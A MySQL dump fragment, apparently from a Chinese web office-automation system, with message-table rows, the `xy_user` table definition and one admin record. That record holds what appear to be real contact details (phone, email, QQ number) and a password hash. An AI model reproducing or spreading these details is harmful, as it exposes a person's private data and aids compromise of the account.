INSERT INTO `xy_msg` VALUES ('1', '1', '陈高明', '2015-05-18 00:00:00', '你新的未读消息啊<a href=\"/weboa/index.php?m=home&c=public&a=online\" data-toggle=\"navtab\" data-id=\"online\"  data-title=\"消息提醒123\">消息 <span class=\"badge\">1</span></a>', '1', '系统', '1', '2015-05-19 08:14:45'), ('2', '0', '系统管理员', '0000-00-00 00:00:00', '登陆成功', '1', '', '0', '2015-05-19 08:26:32'), ('3', '0', '系统管理员', '2015-05-19 08:28:14', '登陆成功', '1', '系统类', '1', '2015-05-19 08:29:27'), ('4', '0', '系统管理员', '2015-05-19 08:30:05', '登陆成功', '1', '系统类', '1', '2015-05-19 09:35:49'), ('5', '0', '系统管理员', '2015-05-19 08:30:17', '登陆成功', '1', '系统类', '1', '2015-05-19 08:30:22'), ('6', '1', 'admin', '2015-05-19 13:45:53', '', '1', '', '0', '2015-05-19 17:28:54'), ('7', '1', 'admin', '2015-05-19 13:45:58', '', '1', '', '0', '2015-05-19 14:04:38'), ('8', '17', 'user1', '2015-06-16 13:51:45', 'fdsf', '1', '系统', '0', '0000-00-00 00:00:00'), ('9', '17', 'user1', '2015-06-16 13:51:48', 'fdsf', '1', '系统', '0', '0000-00-00 00:00:00'), ('10', '17', 'user1', '2015-06-16 13:51:50', 'fdsf', '1', '系统', '0', '0000-00-00 00:00:00'), ('11', '17', 'user1', '2015-06-16 13:52:08', 'fdsf', '1', '系统', '17', '2015-06-16 13:52:14'), ('12', '17', 'user1', '2015-06-16 13:52:11', 'fdsf', '1', '系统', '17', '2015-07-07 03:24:20');
COMMIT;

-- ----------------------------
--  Table structure for `xy_user`
-- ----------------------------
DROP TABLE IF EXISTS `xy_user`;
CREATE TABLE `xy_user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` char(20) NOT NULL DEFAULT '',
  `password` char(32) NOT NULL DEFAULT '',
  `depname` varchar(50) NOT NULL,
  `posname` varchar(50) NOT NULL,
  `truename` char(30) NOT NULL,
  `sex` char(5) NOT NULL,
  `tel` varchar(20) NOT NULL,
  `phone` char(11) NOT NULL,
  `neixian` varchar(50) NOT NULL,
  `email` varchar(200) NOT NULL,
  `qq` varchar(20) NOT NULL,
  `logintime` datetime NOT NULL,
  `loginip` char(15) NOT NULL,
  `logins` int(11) NOT NULL,
  `status` tinyint(4) NOT NULL DEFAULT '1',
  `update_time` int(11) NOT NULL,
  `bian` text NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=20 DEFAULT CHARSET=utf8;

-- ----------------------------
--  Records of `xy_user`
-- ----------------------------
BEGIN;
INSERT INTO `xy_user` VALUES ('1', 'admin', 'c3284d0f94606de1fd2af172aba15bf3', '综合办公室', '系统管理员', '超级管理员', '男', '0', '15760010100', '6535665', 'dragon_lhp@163.com', '1458485514', '2018-01-29 21:14:16', '0.0.0.0', '1', '1', '1517233883', '11');
COMMIT;

SET FOREIGN_KEY_CHECKS = 1;
